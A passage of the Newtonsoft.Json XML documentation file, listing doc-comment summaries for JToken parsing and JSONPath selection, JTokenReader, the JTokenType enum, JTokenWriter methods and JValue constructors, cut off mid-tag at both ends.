name=\"M:Newtonsoft.Json.Linq.JToken.Parse(System.String,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> populated from the string that contains JSON.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Load(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Load(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <returns>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectToken(System.String)\">\n            <summary>\n            Selects a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using a JSONPath expression. Selects the token that matches the object path.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, or <c>null</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectToken(System.String,System.Boolean)\">\n            <summary>\n            Selects a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using a JSONPath expression. Selects the token that matches the object path.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <param name=\"errorWhenNoMatch\">A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectToken(System.String,Newtonsoft.Json.Linq.JsonSelectSettings)\">\n            <summary>\n            Selects a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using a JSONPath expression. Selects the token that matches the object path.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonSelectSettings\"/> used to select tokens.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectTokens(System.String)\">\n            <summary>\n            Selects a collection of elements using a JSONPath expression.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the selected elements.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectTokens(System.String,System.Boolean)\">\n            <summary>\n            Selects a collection of elements using a JSONPath expression.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <param name=\"errorWhenNoMatch\">A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the selected elements.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectTokens(System.String,Newtonsoft.Json.Linq.JsonSelectSettings)\">\n            <summary>\n            Selects a collection of elements using a JSONPath expression.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonSelectSettings\"/> used to select tokens.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the selected elements.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.GetMetaObject(System.Linq.Expressions.Expression)\">\n            <summary>\n            Returns the <see cref=\"T:System.Dynamic.DynamicMetaObject\"/> responsible for binding operations performed on this object.\n            </summary>\n            <param name=\"parameter\">The expression tree representation of the runtime value.</param>\n            <returns>\n            The <see cref=\"T:System.Dynamic.DynamicMetaObject\"/> to bind this object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.System#Dynamic#IDynamicMetaObjectProvider#GetMetaObject(System.Linq.Expressions.Expression)\">\n            <summary>\n            Returns the <see cref=\"T:System.Dynamic.DynamicMetaObject\"/> responsible for binding operations performed on this object.\n            </summary>\n            <param name=\"parameter\">The expression tree representation of the runtime value.</param>\n            <returns>\n            The <see cref=\"T:System.Dynamic.DynamicMetaObject\"/> to bind this object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.DeepClone\">\n            <summary>\n            Creates a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>. All child tokens are recursively cloned.\n            </summary>\n            <returns>A new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.AddAnnotation(System.Object)\">\n            <summary>\n            Adds an object to the annotation list of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"annotation\">The annotation to add.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Annotation``1\">\n            <summary>\n            Get the first annotation object of the specified type from this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <typeparam name=\"T\">The type of the annotation to retrieve.</typeparam>\n            <returns>The first annotation object that matches the specified type, or <c>null</c> if no annotation is of the specified type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Annotation(System.Type)\">\n            <summary>\n            Gets the first annotation object of the specified type from this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"type\">The <see cref=\"P:Newtonsoft.Json.Linq.JToken.Type\"/> of the annotation to retrieve.</param>\n            <returns>The first annotation object that matches the specified type, or <c>null</c> if no annotation is of the specified type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Annotations``1\">\n            <summary>\n            Gets a collection of annotations of the specified type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <typeparam name=\"T\">The type of the annotations to retrieve.</typeparam>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> that contains the annotations for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Annotations(System.Type)\">\n            <summary>\n            Gets a collection of annotations of the specified type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"type\">The <see cref=\"P:Newtonsoft.Json.Linq.JToken.Type\"/> of the annotations to retrieve.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:System.Object\"/> that contains the annotations that match the specified type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.RemoveAnnotations``1\">\n            <summary>\n            Removes the annotations of the specified type from this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <typeparam name=\"T\">The type of annotations to remove.</typeparam>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.RemoveAnnotations(System.Type)\">\n            <summary>\n            Removes the annotations of the specified type from this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"type\">The <see cref=\"P:Newtonsoft.Json.Linq.JToken.Type\"/> of annotations to remove.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JTokenEqualityComparer\">\n            <summary>\n            Compares tokens to determine whether they are equal.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenEqualityComparer.Equals(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Determines whether the specified objects are equal.\n            </summary>\n            <param name=\"x\">The first object of type <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to compare.</param>\n            <param name=\"y\">The second object of type <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to compare.</param>\n            <returns>\n            <c>true</c> if the specified objects are equal; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenEqualityComparer.GetHashCode(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Returns a hash code for the specified object.\n            </summary>\n            <param name=\"obj\">The <see cref=\"T:System.Object\"/> for which a hash code is to be returned.</param>\n            <returns>A hash code for the specified object.</returns>\n            <exception cref=\"T:System.ArgumentNullException\">The type of <paramref name=\"obj\"/> is a reference type and <paramref name=\"obj\"/> is <c>null</c>.</exception>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JTokenReader\">\n            <summary>\n            Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JTokenReader.CurrentToken\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> at the reader's current position.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenReader.#ctor(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JTokenReader\"/> class.\n            </summary>\n            <param name=\"token\">The token to read from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenReader.#ctor(Newtonsoft.Json.Linq.JToken,System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JTokenReader\"/> class.\n            </summary>\n            <param name=\"token\">The token to read from.</param>\n            <param name=\"initialPath\">The initial path of the token. It is prepended to the returned <see cref=\"P:Newtonsoft.Json.Linq.JTokenReader.Path\"/>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenReader.Read\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <returns>\n            <c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JTokenReader.Path\">\n            <summary>\n            Gets the path of the current JSON token. \n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JTokenType\">\n            <summary>\n            Specifies the type of token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.None\">\n            <summary>\n            No token type has been set.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Object\">\n            <summary>\n            A JSON object.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Array\">\n            <summary>\n            A JSON array.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Constructor\">\n            <summary>\n            A JSON constructor.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Property\">\n            <summary>\n            A JSON object property.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Comment\">\n            <summary>\n            A comment.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Integer\">\n            <summary>\n            An integer value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Float\">\n            <summary>\n            A float value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.String\">\n            <summary>\n            A string value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Boolean\">\n            <summary>\n            A boolean value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Null\">\n            <summary>\n            A null value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Undefined\">\n            <summary>\n            An undefined value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Date\">\n            <summary>\n            A date value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Raw\">\n            <summary>\n            A raw JSON value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Bytes\">\n            <summary>\n            A collection of bytes value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Guid\">\n            <summary>\n            A Guid value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Uri\">\n            <summary>\n            A Uri value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.TimeSpan\">\n            <summary>\n            A TimeSpan value.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JTokenWriter\">\n            <summary>\n            Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JTokenWriter.CurrentToken\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> at the writer's current position.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JTokenWriter.Token\">\n            <summary>\n            Gets the token being written.\n            </summary>\n            <value>The token being written.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.#ctor(Newtonsoft.Json.Linq.JContainer)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JTokenWriter\"/> class writing to the given <see cref=\"T:Newtonsoft.Json.Linq.JContainer\"/>.\n            </summary>\n            <param name=\"container\">The container being written to.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JTokenWriter\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.Flush\">\n            <summary>\n            Flushes whatever is in the buffer to the underlying <see cref=\"T:Newtonsoft.Json.Linq.JContainer\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.Close\">\n            <summary>\n            Closes this writer.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.AutoCompleteOnClose\"/> is set to <c>true</c>, the JSON is auto-completed.\n            </summary>\n            <remarks>\n            Setting <see cref=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\"/> to <c>true</c> has no additional effect, since the underlying <see cref=\"T:Newtonsoft.Json.Linq.JContainer\"/> is a type that cannot be closed.\n            </remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteStartObject\">\n            <summary>\n            Writes the beginning of a JSON object.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteStartArray\">\n            <summary>\n            Writes the beginning of a JSON array.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteStartConstructor(System.String)\">\n            <summary>\n            Writes the start of a constructor with the given name.\n            </summary>\n            <param name=\"name\">The name of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteEnd(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Writes the end.\n            </summary>\n            <param name=\"token\">The token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WritePropertyName(System.String)\">\n            <summary>\n            Writes the property name of a name/value pair on a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Object)\">\n            <summary>\n            Writes a <see cref=\"T:System.Object\"/> value.\n            An error will be raised if the value cannot be written as a single JSON token.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteNull\">\n            <summary>\n            Writes a null value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteUndefined\">\n            <summary>\n            Writes an undefined value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteRaw(System.String)\">\n            <summary>\n            Writes raw JSON.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteComment(System.String)\">\n            <summary>\n            Writes a comment <c>/*...*/</c> containing the specified text.\n            </summary>\n            <param name=\"text\">Text to place inside the comment.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.String)\">\n            <summary>\n            Writes a <see cref=\"T:System.String\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.String\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Int32)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.UInt32)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Int64)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.UInt64)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Single)\">\n            <summary>\n            Writes a <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Double)\">\n            <summary>\n            Writes a <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Boolean)\">\n            <summary>\n            Writes a <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Boolean\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Int16)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.UInt16)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Char)\">\n            <summary>\n            Writes a <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Char\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Byte)\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.SByte)\">\n            <summary>\n            Writes a <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.SByte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Decimal)\">\n            <summary>\n            Writes a <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Decimal\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.DateTime)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTime\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.DateTimeOffset)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Byte[])\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/>[] value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/>[] value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.TimeSpan)\">\n            <summary>\n            Writes a <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Guid)\">\n            <summary>\n            Writes a <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Guid\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Uri)\">\n            <summary>\n            Writes a <see cref=\"T:System.Uri\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Uri\"/> value to write.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JValue\">\n            <summary>\n            Represents a value in JSON (string, integer, date, etc).\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.WriteToAsync(Newtonsoft.Json.JsonWriter,System.Threading.CancellationToken,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> asynchronously.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous write operation.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(Newtonsoft.Json.Linq.JValue)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> object to copy from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Int64)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Decimal)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Char)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.UInt64)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Double)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Single)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.DateTime)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.DateTimeOffset)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Guid)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Uri)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.TimeSpan)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JValue.HasValues\">\n            <summary>\n            Gets a value indicating whether this token has child tokens.\n            </summary>\n            <value>\n            \t<c>true</c> if this token has child values; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.CreateComment(System.String)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> comment with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> comment with the given value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.CreateString(System.String)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> string with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> string with the given value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.CreateNull\">\n            <summary>\n            Creates a <see 